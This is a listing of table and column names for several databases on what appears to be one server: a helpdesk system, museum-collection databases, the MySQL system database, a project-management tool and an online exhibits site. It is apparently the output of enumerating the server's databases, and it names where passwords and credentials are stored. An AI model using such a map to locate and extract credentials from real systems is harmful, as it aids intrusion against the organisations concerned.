swcalendarpriorities	calendarpriorityid prioritytype title prioritycolorcode displayorder ismaster
swcalendarstatus	calendarstatusid statustype title statuscolorcode displayorder ismaster
swcalendartasks	calendartaskid ownerstaffid staffid dateline duedate startdate contactid completepercent iscomplete tasktype subject calendarlabelid calendarstatusid calendarpriorityid lastupdate
swcatchallrules	catchallruleid title ruleexpr emailqueueid dateline sortorder
swcommentdata	commentdataid commentid contents
swcomments	commentid typeid commenttype fullname email isapproved dateline
swcontacts	contactid contacttype staffid fullname jobtitle initials calendarcategoryid email1address email2address email3address customerid mobiletelephonenumber cartelephonenumber pagernumber othertelephonenumber imaddress companyname department officelocation businessaddress businesstelephonenumber business2telephonenumber businessfaxnumber businesshomepage homeaddress hometelephonenumber home2telephonenumber homefaxnumber birthdaydateline anniversarydateline mailingaddress otheraddress webpage assistantname assistanttelephonenumber lastupdate
swcron	cronid nextrun lastrun chour cminute cday module action autorun name
swcronlogs	cronlogid cronid crontitle dateline description
swcustomfielddeplinks	customfieldgroupid departmentid
swcustomfieldgroups	customfieldgroupid title grouptype displayorder
swcustomfieldlinks	customfieldlinkid linktype typeid customfieldgroupid
swcustomfieldoptions	customfieldoptionid customfieldid optionvalue displayorder isselected
swcustomfields	customfieldid customfieldgroupid title fieldtype fieldname defaultvalue isrequired usereditable staffeditable regexpvalidate displayorder description
swcustomfieldvalues	customfieldvalueid customfieldid typeid fieldvalue isserialized
swdepartments	departmentid title departmenttype departmentmodule isdefault displayorder
swdownloadcategories	downloadcategoryid parentcategoryid staffid title dateline totalitems categorytype displayorder
swdownloaddesc	downloaddescid downloaditemid description
swdownloaditems	downloaditemid downloadcategoryid downloadmaskid title version filelink filename storedfilename filesize filetype totaldownloads displayorder dateline updatedateline itempassword totalcomments
swemailqueues	emailqueueid email type fetchtype host port username userpassword customfromname customfromemail priorityid ticketstatusid departmentid prefix ticketautoresponder replyautoresponder registrationrequired tgroupid
swescalationpaths	escalationpathid dateline ticketid slaplanid escalationruleid ownerstaffid departmentid ticketstatusid priorityid flagtype
swescalationrules	escalationruleid slaplanid staffid priorityid ticketstatusid departmentid title dateline
swfloodhash	floodhashid dateline emailhash subjecthash
swgroupassigns	groupassignid departmentid staffgroupid
swkbarticledata	kbarticledataid kbarticleid contents
swkbarticlefiles	kbarticlefileid kbarticleid filename storedfilename filesize filetype totaldownloads dateline
swkbarticlelinks	kbarticlelinkid kbcategoryid kbarticleid
swkbarticles	kbarticleid staffid subject isedited editeddateline editedstaffid views totalcomments hasattachments dateline displayorder articlestatus articlerating ratinghits ratingcount
swkbcategories	kbcategoryid parentcategoryid staffid title dateline totalarticles categorytype displayorder
swlanguagephrases	phraseid languageid section code sectioncode contents
swlanguages	languageid title languagecode charset author textdirection ismaster isdefault displayorder
swmailqueuedata	mailqueuedataid toemail fromemail fromname subject datatext datahtml dateline ishtml
swnews	newsid tgroupid staffid newstype subject emailsubject description dateline expiry edited editedstaffid editeddateline totalcomments
swnewsdata	newsdataid newsid contents
swnewssubscribers	newssubscriberid tgroupid userid email dateline validated
swnewsverihash	newsverihashid newssubscriberid hash dateline
swparserbans	parserbanid email dateline staffid
swparserlogdata	parserlogdataid parserlogid contents
swparserlogs	parserlogid typeid ticketmaskid dateline emailqueueid logtype subject fromemail toemail size description parsetimetaken responsetype ticketpostid
swparserrules	parserruleid title dateline sortorder ruletype matchtype stopprocessing
swpredefinedcategories	predefinedcategoryid parentcategoryid categorytype staffid title
swpredefinedreplies	predefinedreplyid predefinedcategoryid staffid subject dateline
swpredefinedreplydata	predefinedreplydataid predefinedreplyid contents
swprivatemessagedata	privatemessagedataid privatemessageid contents
swprivatemessages	privatemessageid fromstaffid tostaffid subject dateline msgtype msgstatus readdate
swqueuesignatures	queuesignatureid dateline emailqueueid contents
swregistry	vkey data dateline isvolatile datasize
swruleactions	ruleactionid parserruleid name typeid typedata typechar
swrulecriteria	rulecriteriaid parserruleid name ruleop rulematch
swsessions	sessionid ipaddress lastactivity useragent isloggedin sessiontype typeid dateline status captcha iswinapp
swsettings	settingid section vkey data
swsettingsfields	sfieldid sgroupid name customvalue iscustom settingtype module displayorder
swsettingsgroups	sgroupid name module displayorder ishidden
swsignatures	signatureid dateline staffid signature
swslaplanprioritylink	planprioritylinkid slaplanid priorityid
swslaplans	slaplanid departmentid slascheduleid title overduehrs dateline
swslaplanstatuslink	planstatuslinkid slaplanid ticketstatusid
swslaschedules	slascheduleid title sunday_enabled sunday_open sunday_close monday_enabled monday_open monday_close tuesday_enabled tuesday_open tuesday_close wednesday_enabled wednesday_open wednesday_close thursday_enabled thursday_open thursday_close friday_enabled friday_open friday_close saturday_enabled saturday_open saturday_close dateline
swstaff	staffid fullname username password staffgroupid email mobilenumber lastvisit lastvisit2 lastactivity timezoneoffset enabledst startofweek pmunread groupassigns enablepmalerts enablepmjsalerts ticketviewid
swstaffassigns	staffassignid departmentid staffid
swstaffgroup	staffgroupid title isadmin
swstaffgroupsettings	sgroupsettingid staffgroupid name value
swstaffschedules	staffscheduleid staffid sunday_enabled sunday_open sunday_close monday_enabled monday_open monday_close tuesday_enabled tuesday_open tuesday_close wednesday_enabled wednesday_open wednesday_close thursday_enabled thursday_open thursday_close friday_enabled friday_open friday_close saturday_enabled saturday_open saturday_close
swsynclog	synclogid synctype staffid syncstatus dateline deviceinformation
swsyncworksguid	guidid swguid dateline
swtempfiles	tempfileid filename dateline
swtemplatecategories	tcategoryid tgroupid name description module
swtemplatedata	templatedataid templateid contents contentsdefault
swtemplategroups	tgroupid languageid guestusergroupid regusergroupid title description companyname ismaster grouppassword restrictgroups isdefault loginapi_moduleid ticketstatusid priorityid departmentid
swtemplates	templateid tgroupid tcategoryid name templatelength dateline modified contentshash contentsdefaulthash
swtgroupassigns	tgroupassignid toassignid type tgroupid
swticketdrafts	ticketdraftid ticketid dateline contents
swticketemails	ticketemailid email
swticketfilterfields	ticketfilterfieldid ticketfilterid dateline fieldtitle fieldoper fieldvalue
swticketfilters	ticketfilterid dateline filtertype title staffid filteroptions
swticketfollowup	ticketfollowupid dateline execdateline ticketid staffid ownerstaffid departmentid ticketstatusid priorityid duedateline markasoverdue timeworked donote notetype ticketnotes doreply replycontents doforward forwardemailto forwardcontents
swticketlabellinks	ticketlabellinkid ticketlabelid ticketid
swticketlabels	ticketlabelid title dateline labeltype staffid
swticketlocks	ticketid lockstaffid lockdateline
swticketmergelog	mergelogid oldticketid oldticketmaskid ticketid staffid dateline
swticketmessageids	ticketmessageid messageid ticketid ticketpostid dateline
swticketnotes	ticketnoteid typeid notetype forstaffid bystaffid dateline notes
swticketpostindex	ticketwordid ticketpostid insubject
swticketpostlocks	ticketpostlockid ticketid staffid dateline contents
swticketposts	ticketpostid ticketid dateline userid fullname email emailto subject ipaddress hasattachments edited editedbystaffid editeddateline creator ishtml isemailed staffid contents contenthash subjecthash
swticketpriorities	priorityid title displayorder type frcolorcode bgcolorcode iscustom
swticketrecipients	recipientid ticketid ticketemailid recipienttype
swtickets	ticketid ticketmaskid departmentid ticketstatusid priorityid emailqueueid userid staffid ownerstaffid assignstatus fullname email lastreplier replyto subject dateline lastactivity laststaffreplytime slaplanid ticketslaplanid duetime totalreplies ipaddress flagtype hasnotes hasattachments isemailed edited editedbystaffid editeddateline creator charset transferencoding timeworked dateicon lastpostid firstpostid tgroupid messageid escalationruleid hasdraft hasbilling isphonecall isescalated phoneno autoclosetimeline islabeled lastuserreplytime escalatedtime followupcount
swticketsearches	ticketsearchid staffid dateline keywords resultscount timetaken ticketidlist relevancelist rejectedwords ticketfilterid
swticketstatus	ticketstatusid title displayorder iscustom displayinmainlist ismaster statustype displaycount statuscolor departmentid type resetduetime
swtickettimetrack	timetrackid ticketid dateline creatorstaffid timespent timebillable forstaffid notes
swticketviewfields	ticketviewfieldid ticketviewid ticketviewfieldtype customfieldid fieldlinkid
swticketviews	ticketviewid title viewtype staffid viewalltickets viewunassigned viewassigned sortby sortorder ismaster dateline ticketsperpage
swticketwords	ticketwordid contents
swtroubleshootercat	troubleshootercatid staffid title description dateline displayorder views
swtroubleshooterdata	troubleshooterdataid troubleshooterid contents
swtroubleshooterlinks	troubleshooterlinkid troubleshootercatid parenttroubleshooterid childtroubleshooterid
swtroubleshootersteps	troubleshooterid troubleshootercatid staffid subject dateline edited editedstaffid displayorder views totalcomments redirecttickets redirectdepartmentid
swtwdeletelog	twdeletelogid entrytype entryid dateline guidid
swuseremails	useremailid userid email isprimary
swusergroups	usergroupid title grouptype ismaster slaplanid slaexpiry
swusergroupsettings	ugroupsettingid usergroupid name value
swusers	userid usergroupid fullname phone userpassword userpasswordtxt dateline lastvisit lastactivity enabled loginapi_moduleid loginapi_userid languageid timezoneoffset enabledst useremailcount allowemail slaplanid slaexpiry ismanager
swuserverifyhash	userverifyhashid userid dateline

misc_scripts
Table Name	Columns
volunteer_day	id name email spouse children

mobius
Table Name	Columns
APPSETTINGS	APPVARIABLE APPVARIABLEVALUE APPBOOL
BROWSE_BY	KV MODULE FIELD ASSUMEUNIQUE INDEXED AUTOFORMAT LABEL DESCRIPTION
EVE	KV FULL_NAME BRIEF_NAME CATEGORY1 BEGIN_DATE END_DATE OCCURENCE_TYPE START_REASON END_REASON EVENTDATE DESCRIPTION DISPLAY_DATE DURATION DURATION_UNIT CURRENT_STATUS NOTE OPTION1 OPTION2 NUMBER1 NUMBER2 DATE1 DATE2 FLAG1 FLAG2 SORT_NAME LANGUAGE
EVE_EVE	KV EKV
EVE_PLA	KV PKV
EVE_VES	KV VKV
EXH	KV EXHIBIT_START EXHIBIT_END BRIEF_NAME FULL_NAME DESCRIPTION OPTION1 OPTION2 DATE1 DATE2 NUMBER1 NUMBER2 FLAG1 FLAG2
GROUPING	GID USID GROUPNAME SHARED SHAREID
GROUPOBJS	GID KV AREA
GROUPSHARES	USID GID
INFOCUS	KV MODULE
MODULEHOME	MODULE WELCOME
OBJ	KV ID_NUMBER CATEGORY1 OBJECT_TYPE NAME_TITLE MAKER CULTURE PLACE_MADE COLLECTOR PLACE_COLLECTED DATE_MADE MATERIALS MEASUREMENTS DESCRIPTION CREDIT_LINE LOCATION EARLIEST_YEAR LATEST_YEAR DATE_COLLECTED SITE SEX AGE STAGE ITEM_COUNT SYSTEM_COUNT PORTION PARENT_KEY WHOLE_PART HOME_LOCATION USED_FOR NOTE NUMBER1 NUMBER2 DATE1 date2 FLAG1 FLAG2 FLAG3 flag4 LOAN_ALLOWED OFFSITE OPTION1 OPTION2 OPTION3 OPTION4 OPTION5 OPTION6 OPTION7 OPTION8 OPTION9 OPTION10 LANGUAGE ID_SORTS TITLES AUTHORS IDNUMBERS ACQOPTION2 SUBJECTS EXHIBITS
OBJ_AUTHORS	KV NAME RELATIONSHIP
OBJ_DATES	KV EARLIEST_YEAR LATEST_YEAR
OBJ_DESCRIPTIONS	KV DESCRIPTION
OBJ_EVE	KV VKV
OBJ_EXH	EKV KV
OBJ_NUMBERS	KV OTHER_NUMBER ON_TYPE NOTE
OBJ_OBJ	KV OKV
OBJ_PEO	KV PKV
OBJ_PLA	KV PKV
OBJ_PUB	KV PKV
OBJ_RIGHTS	KV HOLDER
OBJ_SIT	KV SKV
OBJ_SUB	KV SKV
OBJ_THE	KV TKV
OBJ_TITLES	KV TITLE
OBJ_VES	KV VKV
PEO	KV PREFERRED_NAME FIRSTMID_NAME LASTSUFF_NAME BIRTH_DATE DEATH_DATE BIRTH_PLACE DEATH_PLACE NATIONALITY OCCUPATION BRIEF_BIO BIO SUFFIX_NAME OPTION1 OPTION2 LANGUAGE APPROVED INDIVIDUAL TITLE_NAME HONORARY_SUFFIX SORT_NAME GENDER DECEASED CAUSE_OF_DEATH DESCRIPTION WEBSITE ASSESSMENT NOTES NUMBER1 NUMBER2 DATE1 DATE2 FLAG1 FLAG2
PEO_EVE	EKV KV
PEO_PEO	KV PVK
PEO_PLA	KV PVK
PEO_SIT	KV SVK
PEO_SUB	KV SVK
PEO_VES	KV VKV
PLA	KV PLACE DESCRIPTION BROADER_KEY HIERARCHY_LEVEL PLACE2 PLACE3 SORT_NAME PLACE_TYPE GEOGRAPHIC_NAME POLITICAL_NAME MODIFIED GUIDE_TERM START_QUALIFIER START_LATITUDE START_LONGITUDE START_DIRECTION END_QUALIFIER END_LATITUDE END_LONGITUDE END_DIRECTION LATITUDE_ACCURACY LONGITUDE_ACCURACY POPULATION POPULATION_DATE SOURCE SOURCE_DATE NOTE OPTION1 OPTION2 NUMBER1 NUMBER2 DATE1 DATE2 FLAG1 FLAG2 LANGUAGE
PLA_PLA	KV PKV
PLA_VES	KV VKV
POPULAR	KV AREA COUNTER
PUB	KV PUB_TYPE ILLUSTRATED PUBLISHER CITATION AUTHOR PUBLICATION_DATE ISSN_ISBN TITLE TITLE_STATEMENT SERIES_TITLE VOLUME ISSUE EDITION EDITOR SUBJECT_HEADINGS PAGES_TRACKS VOLUMES SECTION DESCRIPTION ABSTRACT URL LOCATION LOCATOR_NUMBER EXHIBIT_CATALOGUE PUBLISHED YEAR_PUBLISHED PLACE_PUBLISHED SYSTEM_NUMBER BRIEF_TITLE OPTION1 OPTION2 NUMBER1 NUMBER2 DATE1 DATE2 FLAG1 FLAG2 LANGUAGE
PUB_EVE	EKV KV
PUB_PEO	PKV KV
PUB_PLA	PKV KV
PUB_PUB	KV PKV
PUB_SIT	KV SKV
PUB_SUB	KV SKV
PUB_VES	KV VKV
SIT	KV SITE_ID SITE_NAME SITE_CLASS DESCRIPTION ELEVATION MEASUREMENTS SITE_DATE SITE_TYPE START_LATITUDE START_LONGITUDE START_DIRECTION END_LATITUDE END_LONGITUDE END_DIRECTION UTM_START UTM_END SITE_LENGTH SITE_WIDTH SITE_DEPTH SIZE_UNIT TOPOGRAPHY ECOLOGICAL_ZONES VEGETATION DISTURBANCE_FACTORS CONDITION OWNER REGISTER_STATUS ARCHAEOLOGICAL_STATUS JURISDICTION SITE_DESIGNATION RESEARCH_ACTIVITY RECOMMENDATIONS NOTE OPTION1 OPTION2 NUMBER1 NUMBER2 DATE1 DATE2 FLAG1 FLAG2 LANGUAGE
SIT_EVE	EKV KV
SIT_PLA	PKV KV
SIT_SIT	KV SKV
SIT_SUB	KV SKV
SIT_VES	KV VKV
SPE	KV TAXON_NAME BROADER_KEY1 BROADER_KEY2 SCIENTIFIC_NAME COMMON_NAME DESCRIPTION IDENTIFICATION HABITAT ENDANGERED_STATUS STATUS_NOTE CONSERVATION THREATS POPULATION POPULATION_DATE REMARKS NOTE INFO_HISTORY REFERENCE_NUMBER SORT_NAME BROADER_NAME SOURCE SOURCE_DATE RANGE_DISTRIBUTION LIFECYCLE GESTATION BIRTH_RATE SEASONALITY REPRODUCTION_NOTE DIET BEHAVIOR SOCIAL_ORGANIZATION PUBLISH OPTION1 OPTION2 OPTION3 OPTION4 NUMBER1 NUMBER2 DATE1 DATE2 FLAG1 FLAG2 HIERARCHY_LEVEL LEVEL_TEXT SORT_NUMBER MODIFIED GUIDE_TERM LANGUAGE
SPE_EVE	EKV KV
SPE_OBJ	OKV KV
SPE_PEO	PKV KV
SPE_PLA	PKV KV
SPE_PUB	PKV KV
SPE_SIT	SKV KV
SPE_SPE	KV SKV
SPE_SUB	SKV KV
SPE_VES	KV VKV
SUB	KV SUBJECT SUBJECT_CATEGORY SUBCATEGORY DESCRIPTION CANDIDATE SORT_NAME SOURCE NOTE OPTION1 OPTION2 DATE1 DATE2 NUMBER1 NUMBER2 FLAG1 FLAG2 LANGUAGE
SUB_EVE	EKV KV
SUB_PLA	PKV KV
SUB_SUB	KV SKV
SUB_VES	KV VKV
SYNONYMS	TERM SYNONYMS
THE	KV THES_SYSTEM HIERARCHY_LEVEL TERM1_1 BROADER_ID NOTE COMMENTS TERM2_1 TERM3_1 TERM1_2 TERM2_2 TERM3_2 OPTION1 OPTION2 NUMBER1 NUMBER2 DATE1 DATE2 FLAG1 FLAG2 LANGUAGE MODIFIED OTHER_SORT GUIDE_TERM SOURCE SOURCE_DATE
VES	KV VESSEL_ID VESSEL_CLASS MEASUREMENTS VESSEL_TYPE MAKER PLACE_MADE DATE_MADE MATERIALS DESCRIPTION VESSEL_NAME DESIGNER PRIMARY_USE
VES_VES	KV VKV
WEBMEDIA	KV DVKEY MEDIA_ID RECORD_TYPE BROADER_KEY PRIM MEDIA FORMAT LOCATOR THUMBNAIL RESOLUTION H_SIZE V_SIZE FILE_SIZE CAPTION CREDIT_LINE STEP
WEBMEDIA_EVE	OKV KV SORTORDER
WEBMEDIA_OBJ	OKV KV SORTORDER
WEBMEDIA_PEO	OKV KV SORTORDER
WEBMEDIA_PLA	OKV KV SORTORDER
WEBMEDIA_PUB	OKV KV SORTORDER
WEBMEDIA_SIT	OKV KV SORTORDER
WEBMEDIA_SPE	OKV KV SORTORDER
WEBMEDIA_SUB	OKV KV SORTORDER
WEBMEDIA_THE	OKV KV SORTORDER
WEBMEDIA_VES	OKV KV SORTORDER
WEBUSERS	USID EMAIL SUPERSECRETPASSWORD AUTHED RESULTVIEW RECORDLIMIT CREATEDATE LASTLOGIN ADMIN

mobius2
Table Name	Columns
APPSETTINGS	APPVARIABLE APPVARIABLEVALUE APPBOOL
BROWSE_BY	KV MODULE FIELD ASSUMEUNIQUE INDEXED AUTOFORMAT LABEL DESCRIPTION
EVE	KV FULL_NAME BRIEF_NAME CATEGORY1 BEGIN_DATE END_DATE OCCURENCE_TYPE START_REASON END_REASON EVENTDATE DESCRIPTION DISPLAY_DATE DURATION DURATION_UNIT CURRENT_STATUS NOTE OPTION1 OPTION2 NUMBER1 NUMBER2 DATE1 DATE2 FLAG1 FLAG2 SORT_NAME LANGUAGE
EVE_EVE	KV EKV
EVE_PLA	KV PKV
EVE_VES	KV VKV
EXH	KV EXHIBIT_START EXHIBIT_END BRIEF_NAME FULL_NAME DESCRIPTION OPTION1 OPTION2 DATE1 DATE2 NUMBER1 NUMBER2 FLAG1 FLAG2
GROUPING	gid
GROUPOBJS	GID KV AREA
GROUPSHARES	USID GID
INFOCUS	KV MODULE
MODULEHOME	MODULE WELCOME
OBJ	KV ID_NUMBER CATEGORY1 OBJECT_TYPE NAME_TITLE MAKER CULTURE PLACE_MADE COLLECTOR PLACE_COLLECTED DATE_MADE MATERIALS MEASUREMENTS DESCRIPTION CREDIT_LINE LOCATION EARLIEST_YEAR LATEST_YEAR DATE_COLLECTED SITE SEX AGE STAGE ITEM_COUNT SYSTEM_COUNT PORTION PARENT_KEY WHOLE_PART HOME_LOCATION USED_FOR NOTE NUMBER1 NUMBER2 DATE1 date2 FLAG1 FLAG2 FLAG3 flag4 LOAN_ALLOWED OFFSITE OPTION1 OPTION2 OPTION3 OPTION4 OPTION5 OPTION6 OPTION7 OPTION8 OPTION9 OPTION10 LANGUAGE ID_SORTS TITLES AUTHORS IDNUMBERS ACQOPTION2 SUBJECTS EXHIBITS
OBJ_AUTHORS	KV NAME RELATIONSHIP
OBJ_DATES	KV EARLIEST_YEAR LATEST_YEAR
OBJ_DESCRIPTIONS	KV DESCRIPTION
OBJ_EVE	KV VKV
OBJ_EXH	EKV KV
OBJ_NUMBERS	KV OTHER_NUMBER ON_TYPE NOTE
OBJ_OBJ	KV OKV
OBJ_PEO	KV PKV
OBJ_PLA	KV PKV
OBJ_PUB	KV PKV
OBJ_RIGHTS	KV HOLDER
OBJ_SIT	KV SKV
OBJ_SUB	KV SKV
OBJ_THE	KV TKV
OBJ_TITLES	KV TITLE
OBJ_VES	KV VKV
PEO	KV PREFERRED_NAME FIRSTMID_NAME LASTSUFF_NAME BIRTH_DATE DEATH_DATE BIRTH_PLACE DEATH_PLACE NATIONALITY OCCUPATION BRIEF_BIO BIO SUFFIX_NAME OPTION1 OPTION2 LANGUAGE APPROVED INDIVIDUAL TITLE_NAME HONORARY_SUFFIX SORT_NAME GENDER DECEASED CAUSE_OF_DEATH DESCRIPTION WEBSITE ASSESSMENT NOTES NUMBER1 NUMBER2 DATE1 DATE2 FLAG1 FLAG2
PEO_EVE	EKV KV
PEO_PEO	KV PVK
PEO_PLA	KV PVK
PEO_SIT	KV SVK
PEO_SUB	KV SVK
PEO_VES	KV VKV
PLA	KV PLACE DESCRIPTION BROADER_KEY HIERARCHY_LEVEL PLACE2 PLACE3 SORT_NAME PLACE_TYPE GEOGRAPHIC_NAME POLITICAL_NAME MODIFIED GUIDE_TERM START_QUALIFIER START_LATITUDE START_LONGITUDE START_DIRECTION END_QUALIFIER END_LATITUDE END_LONGITUDE END_DIRECTION LATITUDE_ACCURACY LONGITUDE_ACCURACY POPULATION POPULATION_DATE SOURCE SOURCE_DATE NOTE OPTION1 OPTION2 NUMBER1 NUMBER2 DATE1 DATE2 FLAG1 FLAG2 LANGUAGE
PLA_PLA	KV PKV
PLA_VES	KV VKV
POPULAR	KV AREA COUNTER
PUB	KV PUB_TYPE ILLUSTRATED PUBLISHER CITATION AUTHOR PUBLICATION_DATE ISSN_ISBN TITLE TITLE_STATEMENT SERIES_TITLE VOLUME ISSUE EDITION EDITOR SUBJECT_HEADINGS PAGES_TRACKS VOLUMES SECTION DESCRIPTION ABSTRACT URL LOCATION LOCATOR_NUMBER EXHIBIT_CATALOGUE PUBLISHED YEAR_PUBLISHED PLACE_PUBLISHED SYSTEM_NUMBER BRIEF_TITLE OPTION1 OPTION2 NUMBER1 NUMBER2 DATE1 DATE2 FLAG1 FLAG2 LANGUAGE
PUB_EVE	EKV KV
PUB_PEO	PKV KV
PUB_PLA	PKV KV
PUB_PUB	KV PKV
PUB_SIT	KV SKV
PUB_SUB	KV SKV
PUB_VES	KV VKV
SIT	KV SITE_ID SITE_NAME SITE_CLASS DESCRIPTION ELEVATION MEASUREMENTS SITE_DATE SITE_TYPE START_LATITUDE START_LONGITUDE START_DIRECTION END_LATITUDE END_LONGITUDE END_DIRECTION UTM_START UTM_END SITE_LENGTH SITE_WIDTH SITE_DEPTH SIZE_UNIT TOPOGRAPHY ECOLOGICAL_ZONES VEGETATION DISTURBANCE_FACTORS CONDITION OWNER REGISTER_STATUS ARCHAEOLOGICAL_STATUS JURISDICTION SITE_DESIGNATION RESEARCH_ACTIVITY RECOMMENDATIONS NOTE OPTION1 OPTION2 NUMBER1 NUMBER2 DATE1 DATE2 FLAG1 FLAG2 LANGUAGE
SIT_EVE	EKV KV
SIT_PLA	PKV KV
SIT_SIT	KV SKV
SIT_SUB	KV SKV
SIT_VES	KV VKV
SPE	KV TAXON_NAME BROADER_KEY1 BROADER_KEY2 SCIENTIFIC_NAME COMMON_NAME DESCRIPTION IDENTIFICATION HABITAT ENDANGERED_STATUS STATUS_NOTE CONSERVATION THREATS POPULATION POPULATION_DATE REMARKS NOTE INFO_HISTORY REFERENCE_NUMBER SORT_NAME BROADER_NAME SOURCE SOURCE_DATE RANGE_DISTRIBUTION LIFECYCLE GESTATION BIRTH_RATE SEASONALITY REPRODUCTION_NOTE DIET BEHAVIOR SOCIAL_ORGANIZATION PUBLISH OPTION1 OPTION2 OPTION3 OPTION4 NUMBER1 NUMBER2 DATE1 DATE2 FLAG1 FLAG2 HIERARCHY_LEVEL LEVEL_TEXT SORT_NUMBER MODIFIED GUIDE_TERM LANGUAGE
SPE_EVE	EKV KV
SPE_OBJ	OKV KV
SPE_PEO	PKV KV
SPE_PLA	PKV KV
SPE_PUB	PKV KV
SPE_SIT	SKV KV
SPE_SPE	KV SKV
SPE_SUB	SKV KV
SPE_VES	KV VKV
SUB	KV SUBJECT SUBJECT_CATEGORY SUBCATEGORY DESCRIPTION CANDIDATE SORT_NAME SOURCE NOTE OPTION1 OPTION2 DATE1 DATE2 NUMBER1 NUMBER2 FLAG1 FLAG2 LANGUAGE
SUB_EVE	EKV KV
SUB_PLA	PKV KV
SUB_SUB	KV SKV
SUB_VES	KV VKV
SYNONYMS	TERM SYNONYMS
THE	KV THES_SYSTEM HIERARCHY_LEVEL TERM1_1 BROADER_ID NOTE COMMENTS TERM2_1 TERM3_1 TERM1_2 TERM2_2 TERM3_2 OPTION1 OPTION2 NUMBER1 NUMBER2 DATE1 DATE2 FLAG1 FLAG2 LANGUAGE MODIFIED OTHER_SORT GUIDE_TERM SOURCE SOURCE_DATE
VES	KV VESSEL_ID VESSEL_CLASS MEASUREMENTS VESSEL_TYPE MAKER PLACE_MADE DATE_MADE MATERIALS DESCRIPTION VESSEL_NAME DESIGNER PRIMARY_USE
VES_VES	KV VKV
WEBMEDIA	KV DVKEY MEDIA_ID RECORD_TYPE BROADER_KEY PRIM MEDIA FORMAT LOCATOR THUMBNAIL RESOLUTION H_SIZE V_SIZE FILE_SIZE CAPTION CREDIT_LINE STEP
WEBMEDIA_EVE	OKV KV SORTORDER
WEBMEDIA_OBJ	OKV KV SORTORDER
WEBMEDIA_PEO	OKV KV SORTORDER
WEBMEDIA_PLA	OKV KV SORTORDER
WEBMEDIA_PUB	OKV KV SORTORDER
WEBMEDIA_SIT	OKV KV SORTORDER
WEBMEDIA_SPE	OKV KV SORTORDER
WEBMEDIA_SUB	OKV KV SORTORDER
WEBMEDIA_THE	OKV KV SORTORDER
WEBMEDIA_VES	OKV KV SORTORDER
WEBUSERS	USID EMAIL SUPERSECRETPASSWORD AUTHED RESULTVIEW RECORDLIMIT CREATEDATE LASTLOGIN ADMIN

mysql
Table Name	Columns
columns_priv	Host Db User Table_name Column_name Timestamp Column_priv
db	Host Db User Select_priv Insert_priv Update_priv Delete_priv Create_priv Drop_priv Grant_priv References_priv Index_priv Alter_priv Create_tmp_table_priv Lock_tables_priv Create_view_priv Show_view_priv Create_routine_priv Alter_routine_priv Execute_priv Event_priv Trigger_priv
event	db name body definer execute_at interval_value interval_field created modified last_executed starts ends status on_completion sql_mode comment originator time_zone character_set_client collation_connection db_collation body_utf8
func	name ret dl type
general_log	event_time user_host thread_id server_id command_type argument
help_category	help_category_id name parent_category_id url
help_keyword	help_keyword_id name
help_relation	help_topic_id help_keyword_id
help_topic	help_topic_id name help_category_id description example url
host	Host Db Select_priv Insert_priv Update_priv Delete_priv Create_priv Drop_priv Grant_priv References_priv Index_priv Alter_priv Create_tmp_table_priv Lock_tables_priv Create_view_priv Show_view_priv Create_routine_priv Alter_routine_priv Execute_priv Trigger_priv
ndb_binlog_index	Position File epoch inserts updates deletes schemaops
plugin	name dl
proc	db name type specific_name language sql_data_access is_deterministic security_type param_list returns body definer created modified sql_mode comment character_set_client collation_connection db_collation body_utf8
procs_priv	Host Db User Routine_name Routine_type Grantor Proc_priv Timestamp
servers	Server_name Host Db Username Password Port Socket Wrapper Owner
slow_log	start_time user_host query_time lock_time rows_sent rows_examined db last_insert_id insert_id server_id sql_text
tables_priv	Host Db User Table_name Grantor Timestamp Table_priv Column_priv
time_zone	Time_zone_id Use_leap_seconds
time_zone_leap_second	Transition_time Correction
time_zone_name	Name Time_zone_id
time_zone_transition	Time_zone_id Transition_time Transition_type_id
time_zone_transition_type	Time_zone_id Transition_type_id Offset Is_DST Abbreviation
user	Host User Password Select_priv Insert_priv Update_priv Delete_priv Create_priv Drop_priv Reload_priv Shutdown_priv Process_priv File_priv Grant_priv References_priv Index_priv Alter_priv Show_db_priv Super_priv Create_tmp_table_priv Lock_tables_priv Execute_priv Repl_slave_priv Repl_client_priv Create_view_priv Show_view_priv Create_routine_priv Alter_routine_priv Create_user_priv Event_priv Trigger_priv ssl_type ssl_cipher x509_issuer x509_subject max_questions max_updates max_connections max_user_connections

netoffice
Table Name	Columns
assignments	id task owner assigned_to comments assigned
bookmarks	id owner category name url description shared home comments users created modified
bookmarks_categories	id name description
calendar	id owner subject description shortname date_start date_end time_start time_end reminder recurring recur_day
files	id owner project task name date size extension comments comments_approval approver date_approval upload published status vc_status vc_version vc_parent phase
logs	id login password ip session compt last_visite connected
members	id organization login password name title email_work email_home phone_work phone_home mobile fax comments profil created logout_time last_page timezone
notes	id project owner topic subject description date published
notifications	id member taskAssignment removeProjectTeam addProjectTeam newTopic newPost statusTaskChange priorityTaskChange duedateTaskChange clientAddTask
organizations	id name address1 address2 zip_code city country phone fax url email comments created extension_logo owner
phases	id project_id order_num status name date_start date_end comments
posts	id topic member created message
projects	id organization owner priority status name description url_dev url_prod created modified published upload_max phase_set type
reports	id owner name projects members priorities status date_due_start date_due_end created date_complete_start date_complete_end clients
services	id name name_print hourly_rate
sessions	id ipaddr session_data last_access
sorting	id member home_projects home_tasks home_discussions home_reports projects organizations project_tasks discussions project_discussions users team tasks report_tasks assignment reports files organization_projects notes calendar phases support_requests bookmarks tasks_time
support_posts	id request_id message date owner project
support_requests	id status member priority subject message owner date_open date_close project
tasks	id project priority status owner assigned_to name description start_date due_date estimated_time actual_time comments completion created modified assigned published parent_phase complete_date service
tasks_time	id project task owner date hours comments created modified
teams	id project member published authorized
topics	id project owner subject status last_post posts published
updates	id type item member comments created

online_exhibits
Table Name	Columns
artifactidseq	id
artifacts	id status title model_number manufacturer date category dimensions credit_line accession contenturl contentsize thumbnailurl thumbnailsize caption
audio	id status title publisher creator date running_time copyright_owner credit_line accession contenturl contentsize thumbnailurl thumbnailsize imageurl imagesize transtxturl transpdfurl caption
audioidseq	id
documentidseq	id
documents	id status title company publication date subjects pages dimensions copyright_owner credit_line accession contenturl contentsize thumbnailurl thumbnailsize imageurl imagesize caption
exhibit_members	uid eid
exhibitidseq	id
exhibits	id status title
forumidseq	id
forums	id status author email date time ip title message
group_members	uid eid
moving_imageidseq	id
moving_images	id status title publisher creator participants date running_time copyright_owner credit_line accession contenturl contentsize thumbnailurl thumbnailsize imageurl imagesize transtxturl transpdfurl caption
oral_histories	id status title publisher creator participants date running_time copyright_owner credit_line accession contenturl contentsize thumbnailurl thumbnailsize imageurl imagesize transtxturl transpdfurl caption
oral_historyidseq	id
page_images	theme_key image_table image_key
relationships	parent_table parent_key child_table child_key type
